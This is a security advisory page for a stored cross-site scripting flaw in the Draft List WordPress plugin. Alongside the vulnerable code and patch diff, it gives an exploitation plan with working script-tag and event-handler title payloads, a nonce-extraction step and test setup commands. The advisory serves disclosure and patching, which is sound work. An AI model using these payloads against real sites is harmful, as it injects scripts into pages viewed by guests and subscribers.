CVE-2026-9104

Draft List <= 2.6.3 - Authenticated (Author+) Stored Cross-Site Scripting via Draft Post Title

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.6.4
Patched in
1d
Time to patch

Description

The Draft List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Draft Post Title in all versions up to, and including, 2.6.3 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The unescaped injection path is triggered specifically when the viewing user lacks edit capabilities, meaning payloads embedded in draft post titles via attribute-breakout techniques execute for unauthenticated users and subscribers.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions>=2.6.3 <=2.6.3
PublishedMay 21, 2026
Last updatedMay 22, 2026
Affected pluginsimple-draft-list

What Changed in the Fix

Changes introduced in v2.6.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-9104 (Draft List Plugin) ## 1. Vulnerability Summary The **Draft List** plugin (versions <= 2.6.3) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows authenticated users with **Author** level permissions or higher to inject arbitrar…

Show full research plan

Exploitation Research Plan - CVE-2026-9104 (Draft List Plugin)

1. Vulnerability Summary

The Draft List plugin (versions <= 2.6.3) contains a stored cross-site scripting (XSS) vulnerability. The plugin allows authenticated users with Author level permissions or higher to inject arbitrary web scripts via a draft's post title. This occurs because the plugin fails to sanitize or escape the post title when it is rendered through the [drafts] shortcode, particularly when the viewing user does not have edit_posts capabilities (e.g., Unauthenticated Guests or Subscribers).

2. Attack Vector Analysis

  • Entry Point: WordPress Post Editor (wp-admin/post.php).
  • Vulnerable Parameter: post_title.
  • Authentication Requirement: Authenticated (Author+ role).
  • Trigger: Viewing a page/post containing the [drafts] shortcode as a user without edit permissions.
  • Preconditions:
    • An Author creates a draft with a malicious title.
    • A site administrator (or the Author) publishes a page using the [drafts] shortcode.

3. Code Flow

  1. Injection: An Author saves a draft post. The post_title is stored in the wp_posts table.
  2. Shortcode Execution: A user visits a page with [drafts]. WordPress calls draft_list_shortcode() in inc/create-lists.php.
  3. Template Handling: draft_list_shortcode calls draft_list_generate_code().
  4. Sanitization (Bypassed): In inc/create-lists.php, the $template itself is sanitized via wp_kses() on line 150:
    $template = wp_kses( html_entity_decode( $template ), $allowed_list );
    
    However, this only sanitizes the tags in the template string, not the content of the draft post that will be interpolated into it.
  5. Sink: The function (in the truncated portion) iterates through drafts. It replaces the {{draft}} placeholder in the $template with the $post->post_title.
  6. Capability Check: The vulnerability description specifies that the unescaped path is triggered when the viewer "lacks edit capabilities." This implies that the logic for non-editors omits escaping functions like esc_html() or esc_attr() when inserting the title into the HTML string.
  7. Breakout: If the title is placed inside a title attribute or a <span> without escaping, a payload like "><script>alert(1)</script> breaks out of the attribute/tag.

4. Nonce Acquisition Strategy

This vulnerability is triggered by viewing a standard page, so no nonce is required for the victim to execute the payload. To inject the payload as an Author, the standard WordPress post-editing nonce is required.

Injection Nonce Acquisition (for Author):

  1. Log in to the WordPress dashboard as an Author.
  2. Navigate to wp-admin/post-new.php.
  3. Use the browser_eval tool to extract the nonce required for saving the post:
    document.querySelector('#_wpnonce').value
    
  4. This nonce is used in the POST request to wp-admin/post.php.

(Note: Based on the provided source, this plugin does not appear to use wp_localize_script for shortcode rendering, as it is a purely server-side generation process.)

5. Exploitation Strategy

Step 1: Inject Stored XSS Payload

The attacker (Author) creates a draft post.

  • URL: http://vulnerable-wp.local/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: (The ID of a newly created draft)
    • post_title: "><script>alert(document.domain)</script>
    • post_status: draft
    • _wpnonce: (Acquired from Step 4)

Step 2: Create a Trigger Page

The attacker or an admin ensures a page exists with the [drafts] shortcode.

  • Shortcode: [drafts limit=10]

Step 3: Trigger Execution

Access the page as an unauthenticated guest.

  • URL: http://vulnerable-wp.local/page-with-shortcode/
  • Mechanism: The plugin renders the list of drafts. Because the guest cannot edit the draft, the plugin enters the vulnerable code path and echoes the post_title unsafely.

6. Test Data Setup

  1. User Creation: wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Draft Creation: wp post create --post_type=post --post_status=draft --post_title='Initial Title' --post_author=(ID of attacker)
  3. Shortcode Page: wp post create --post_type=page --post_status=publish --post_title='Coming Soon' --post_content='[drafts]'

7. Expected Results

  • When the guest visits the 'Coming Soon' page, the HTML source will contain:
    ... <span title=""><script>alert(document.domain)</script>"> ... (or similar depending on the exact attribute used).
  • A JavaScript alert box will appear displaying the domain name.

8. Verification Steps

  1. Check Database: wp db query "SELECT post_title FROM wp_posts WHERE post_status='draft'" to confirm the payload is stored.
  2. Verify Response: Use http_request as an unauthenticated user to fetch the page content and grep for the raw string "><script>alert.
  3. Escaping Check: If the output shows &quot;&gt;&lt;script&gt;, the vulnerability is patched. If it shows "><script>, it is vulnerable.

9. Alternative Approaches

  • Attribute Breakout: If <script> is filtered by a firewall, use an event handler: post_title = '" onmouseover="alert(1) " '.
  • Custom Template: If the default template is somehow escaped, an Author might attempt to override it via the shortcode itself: [drafts template='<div title="{{draft}}">Check this out</div>']. The plugin's wp_kses call on the template (line 150) may allow the title attribute, but it won't prevent the title data from breaking out of that attribute.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Draft List plugin (versions <= 2.6.3) is vulnerable to Stored Cross-Site Scripting due to insufficient output escaping of draft post titles within the `[drafts]` shortcode. Authenticated attackers with Author-level permissions or higher can inject malicious scripts into draft titles that execute when any user views a page where the shortcode renders those drafts.

Vulnerable Code

// inc/create-lists.php (approx line 386 in version 2.6.3)

					// Replace the draft tag.
					if ( '' !== $draft_title ) {
						$draft = $draft_title;
					} else {
						$draft = __( '(no title)', 'simple-draft-list' );
					}
					if ( $can_edit ) {
						$draft = '<a href="' . home_url() . '/wp-admin/post.php?post=' . $post_id . '&action=edit" rel="nofollow">' . esc_html( $draft ) . '</a>';
					}
					$this_line = str_replace( '{{draft}}', $draft, $this_line );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/simple-draft-list/2.6.3/inc/create-lists.php /home/deploy/wp-safety.org/data/plugin-versions/simple-draft-list/2.6.4/inc/create-lists.php
--- /home/deploy/wp-safety.org/data/plugin-versions/simple-draft-list/2.6.3/inc/create-lists.php	2026-03-15 08:00:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/simple-draft-list/2.6.4/inc/create-lists.php	2026-05-20 18:50:42.000000000 +0000
@@ -386,12 +386,13 @@
 
 					// Replace the draft tag.
 					if ( '' !== $draft_title ) {
-						$draft = $draft_title;
+						$draft = esc_html( $draft_title );
 					} else {
-						$draft = __( '(no title)', 'simple-draft-list' );
+						$draft = esc_html__( '(no title)', 'simple-draft-list' );
 					}
 					if ( $can_edit ) {
-						$draft = '<a href="' . home_url() . '/wp-admin/post.php?post=' . $post_id . '&action=edit" rel="nofollow">' . esc_html( $draft ) . '</a>';
+						$edit_url = esc_url( admin_url( 'post.php?post=' . absint( $post_id ) . '&action=edit' ) );
+						$draft    = '<a href="' . $edit_url . '" rel="nofollow">' . $draft . '</a>';
 					}
 					$this_line = str_replace( '{{draft}}', $draft, $this_line );

Exploit Outline

1. Log in to the WordPress site as a user with Author role permissions or higher. 2. Create a new draft post and set the `post_title` to an XSS payload (e.g., "><script>alert(1)</script>). 3. Ensure a page exists on the site that utilizes the `[drafts]` shortcode. 4. Access the page containing the shortcode as an unauthenticated guest or a subscriber (any user without the 'edit_posts' capability). 5. The plugin renders the draft list, and because the viewer cannot edit the post, it injects the raw, unescaped title into the page's HTML, executing the script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.